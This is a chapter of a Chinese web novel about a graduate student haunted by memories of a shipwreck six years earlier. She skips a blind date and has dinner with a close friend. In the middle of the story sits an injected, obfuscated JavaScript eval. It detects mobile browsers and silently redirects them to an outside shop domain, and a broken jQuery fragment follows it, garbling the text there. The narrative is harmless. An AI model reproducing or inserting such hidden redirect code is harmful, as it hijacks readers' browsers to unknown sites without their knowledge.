淮市美术馆。
一场以“黄昏·印象”为主题的画展今天正式开场。正值周末，看展的人很多，有的是为瞻仰知名画家的作品而专程赶来，有的不过是市民散步路过这里，顺道进来看看热闹。
人群大多聚集在最知名的几幅画作附近。角落里，偶尔倒是会有点冷清。
温知和就站在这样的一个角落里。
她穿了一身轻便的运动装，头上还戴着鸭舌帽，妆是一点也没画。怎么看都像学生的模样。
她定定地注视着那幅画，仿佛周围人来人往，对她全无影响。
客观地说，那只是一幅平平无奇的画。构图、光影、色调，都算不得上乘，对一般人恐怕没什么吸引力。
但，它画的是海上的黄昏。
——巨大木船推开波浪，仿佛正朝着画面外驶来。夕阳斜长，海面泛着陈年老酒一般的金红色。
她不自觉地伸出手，和画作隔着半米远，触向甲板的位置。指尖向下，勾勒出一个人形的轮廓。
“你好，是对这幅画感兴趣吗？”一旁的画展志愿者见她一个人在这幅画前站了半个多小时，很热心地过来做介绍，一会儿指指画作，一会儿指指挂在画作下方的信息牌，“这是淮市美院今年的毕业画作哦，画师还很年轻，据说来自她某个下午睡午觉时候的一场梦……”
温知和的思绪被打断，回到了现实世界里。她滴水不漏地应付着好心人的热情，那些信息倒是没往耳朵里去。
再一会儿，有别的参观者要找纪念品商店，引开了画展志愿者的注意力。角落里又只剩下温知和一个人。
她又盯着画看了几秒。但，已经完全找不到刚才那种状态。展厅里实在很吵，人们走来走去，甚至有旅游团进来了，导游的声音抬得很高，做着极不专业的讲解。
温知和转身，穿过拥挤的人群，离开了美术馆。
今天有个好天气。明媚的阳光透过梧桐树叶子照下来，在地上落下斑驳光影。有一个老师带着一群孩子坐在那树荫底下，正在画水彩笔画。
淮市美术馆外形设计独特，馆外的绿化做得也漂亮，几乎像个小公园，来这里活动的少儿绘画班并不罕见。
孩子们画着，笑着。
温知和远远地看了一眼。只这么一下，又有回忆朦胧浮上心头。
可是那些事都已经……
兜里的手机忽然响了。温知和把它掏出来，屏幕上显示的来电人让她不自觉地咳了一声。
她完全忘记了。
电话一接通，那边的声音倒是很平静，“知和，你没去吗？”
温知和低头看着地上自己的影子，双脚一下踮起、一下回落，“我临时有点不舒服……咳咳……万一是感冒了，也不好传染别人……”
“没关系，反正这次这个我看也一般。那就下一个吧。”
不等她回应，那边已经把电话挂了。
下一秒，又有电话打进来。这次是妈妈。
温妈妈那边带着好笑，“听你爸说，大姨又让你去相亲了？”
“哎——”温知和吐出一口气，“我不小心忘记时间了。”
这个季节，室外已经比室内热些了，她随手拉下了身上这件运动服的拉链，透透气。原本是打算到公园跑完今天的运动量，顺路就去完成一下大姨的任务。结果路过美术馆，进来看了一眼，完全就耽搁了。
也挺对不起那位相亲对象的。
希望对方本身就是个坏人。这样的话，她就不用太愧疚了。
温妈妈说，“不想去的话，不去就好了。你大姨就是最近退休，闲着没事，成天给这个那个扯红线。也没看见有什么好成果。”
温知和道，“没关系，就当陪她玩嘛。吃几顿饭而已。”
她走到树荫底下，抬头看着天。天空很蓝，流云很淡。时间已经不早了，很快就会是黄昏。那时将会有夕阳日照，万物的影子在地上拖得很长很长。
——巨大木船推开波浪，仿佛正朝着画面外驶来。夕阳斜长，海面泛着陈年老酒一般的金红色。
她又想起那幅画。
它不过是一副普通的画。可那些景象唤起了很多东西。
温妈妈还在电话另一边说话，“好呀，就当吃几顿饭就好了。知和啊，妈妈要跟你说清楚，这种事我们不急的。你自己也别急啊。年纪还小呢，慢慢来。”
“我知道呀。”
“那边的饭没赶上，你晚上吃什么呢？我们今天不在家呀。”
温知和张口就想说外卖，话到嘴边，咽了下去，“我自己做一点就好了。”
“用火的时候注意安全啊。”
温妈妈又反复叮嘱几句，除了厨房用火，还有给冬哈添粮的事。
电话挂了。
温知和把手机屏幕锁了，又开。
她的屏保是一片蔚蓝色的大海。就只有海水，别的什么也没有。没有地理特征、没有生物踪迹，它可以代表海里的任何一个地方。
——任何一个地方都足以让她有心脏刺痛的感觉。
可是……
她看了一眼屏幕上显示的时间。
二零二三年，四月十六号。下午五点十三分。
距离那场蜃楼一般光怪陆离的海上往事……已经有六年了。
-
六年的时间足够消磨很多事。
那些置身陌生之地的恐惧、不安，简单粗糙的饮食和住宿条件，日复一日的海风乱吹……一切与当时的主观情绪有关的东西，都渐渐褪色了。
只剩下对人和事的记忆。
再然后，记忆也开始模糊。她每年都会在日记里回忆当时究竟发生过什么事，可每一年的记录对比下来，总是不断出现偏差。
教室里学画画的孩子究竟是十三个，还是十五个？
大熊星座号上的旗帜，究竟是红色，还是灰色？
仿佛一幅流沙画上的各种细节逐渐流走、消散，先是远景褪色变暗，接着，近处景物的轮廓也一点点模糊起来，颜色掉了，线条乱了，到最后，只剩空白的画板上徒留几抹带了颜色的痕迹，隐约还能让人推敲从前的画上曾有过什么。
她记得最多的还是那个人。
他侧脸的剪影很漂亮。总是带着漫不经心的神色。说话时的句尾语调微微上扬，有一种很悠缓的姿态。
……他会在哪里呢？
星穹般的巨船逐渐沉没的时候，他在想什么？那是一场意外，还是……某种不为人知的计划？
沉下去的时候……海水会很冷吗？
她不愿意去猜后来发生了什么，拒绝细想那个最鲜明的可能性。她只觉得，大海，从此有了另一种意义。每次看到大海都会有些出神。
温知和在厨房下饺子的时候，手机又亮了起来。屏保上的蔚蓝海水里，跳出一条微信消息。
措辞相当简洁，来自她最好的朋友。
俞则：“吃。”
温知和给锅盖上盖子，倚着墙，单手打字回了消息。“已经在煮饺子了。”
对面沉默一阵。
俞则：“……”
俞则：“吃！”
后面还附带了一张卡通兔子表情包，大眼睛亮晶晶的，令人无法拒绝。
温知和也回了个表情包。火柴小人做鞠躬邀请状，配着文字，“您请。”
那边没有再回复了。这一来一去的对话简单过头，其中深意只有她们两个自己有默契能看懂。
俞则的第一个“吃”字，指的是“吃饭！出来吃饭！”
温知和回复自己在煮饺子，指的是厨房已经开火了，下锅的粮食不能浪费，因此自己不能出去吃饭。
俞则沉默思索一阵，回过来的第二个带感叹号的“吃”字，指的是，“你的饺子，我要吃！”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187751|147201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于是温知和回了个表情包，意为：“来吧。”
她关了屏幕，把手机放在一旁，从冰箱里拿出一袋饺子，又往锅里多下了几个。因不是自己一个人吃饭，饺子煮完还弄了点简单的蔬菜汤。
厨房里冒着白汽，全是食物香。一个雪团子晃着尾巴从外面溜进来，绕着温知和的小腿打转。她拍拍冬哈的头，给它拿了鸡胸肉，切碎了放在碗里。
冬哈把脸埋在碗里大快朵颐的时候，外面门铃也响了。从猫眼可以看到是个长相很清秀的女孩子，表情十分乖巧。
温知和开了门。
那女孩子十分礼貌地问，“请问阿姨和叔叔在家吗？”
温知和道，“不在。”
很好，没有长辈。
乖巧和礼貌一下子就没了，俞则露出真面目，整个人瘫下来挂在温知和胳膊上，脸上透着生无可恋的社畜表情，“周末啊，我加了一天的班！快给我把吃的端上来……我要死了。我真的，要死了。”
温知和见怪不怪，拖着人往里走，顺手关上了门。“饺子是鲜虾的。家里没什么菜，汤就做的白菜豆腐汤。”
“好香啊已经闻到了……自从学会了做饭你就是我的贤妻。”
大碗小碗端上餐桌的时候，差不多是七点。夕阳日暮，金红色的光照在桌子上，恰好够用，不必开灯。
简单的一顿饭，简单的一个晚上。两个人坐在一起，一面吃，一面闲聊。家里的萨摩耶自己在沙发那边玩。
俞则道，“是我的错觉吗？怎么感觉冬哈最近深沉了不少？”
“它的确心情不是很好。”
“你对它做了什么？”
“……念我写的论文。”
“你为什么要这样折磨一只狗？”
“我也很想问我导师这个问题……”
温知和今年二十五岁，本科时休了一年学，于是现在研二，是一只论文狗。这学期，毕业论文到了中期检查阶段，做她导师的洪老太太天天追着她问进度。
每天两千字已经是她的极限，再多就会有水分。写了初稿，她总要念一遍，然后思忖答辩现场老师们可能会问什么问题，为了排练，经常对着冬哈讲个不停。
狗狗有点抑郁了。
温知和闷闷地塞了一只饺子进嘴里。
俞则也闷闷地塞了一只饺子进嘴里。
温知和道，“我写论文，你打工。”
俞则接话，“我们都有光明的未来。”
温知和长叹一口气。黄昏渐散了，屋里一直没开灯，这会儿光线已经有点昏暗。她偏头朝窗外看出去。
她家住在三十三楼，客厅做的是大落地窗，视野相当开阔。整座城市灯火渐明，都在底下，一览无余。
温知和手机接到微信消息再次亮起的时候，俞则忽然想起什么。“对了，今天早上刘琳琳在企鹅上找我，说下周六晚上一群初中同学准备聚一聚，问要不要去。你去吗？你去我才去。”
温知和拿起手机，分神回答，“去呗。”
“行，那我现在跟她说。”
温知和那条微信消息是大姨发来的。下一次相亲局时间定了，也是在下周六。不过，是中午。时间能错开。
她很无所谓，给大姨回了一个好的。
那边的俞则忙着用手机发着企鹅消息，这边的温知和碗里的饺子已经吃完了。她再次偏头望向窗外，渐渐地，有点出神。
其实也没有想什么。大脑有点放空。
这些年里，很多家人、朋友都说她越来越随和，好像做什么事都无所谓。
跟谁吃饭都可以。
去哪里旅行也没关系。
哪怕是在学校里写论文，导师急得火烧眉毛，她也依然不慌不忙，按着自己的节奏走。
也许……
也许失去一些特别重要的东西之后，其他的事情……就会显得越来越无关紧要。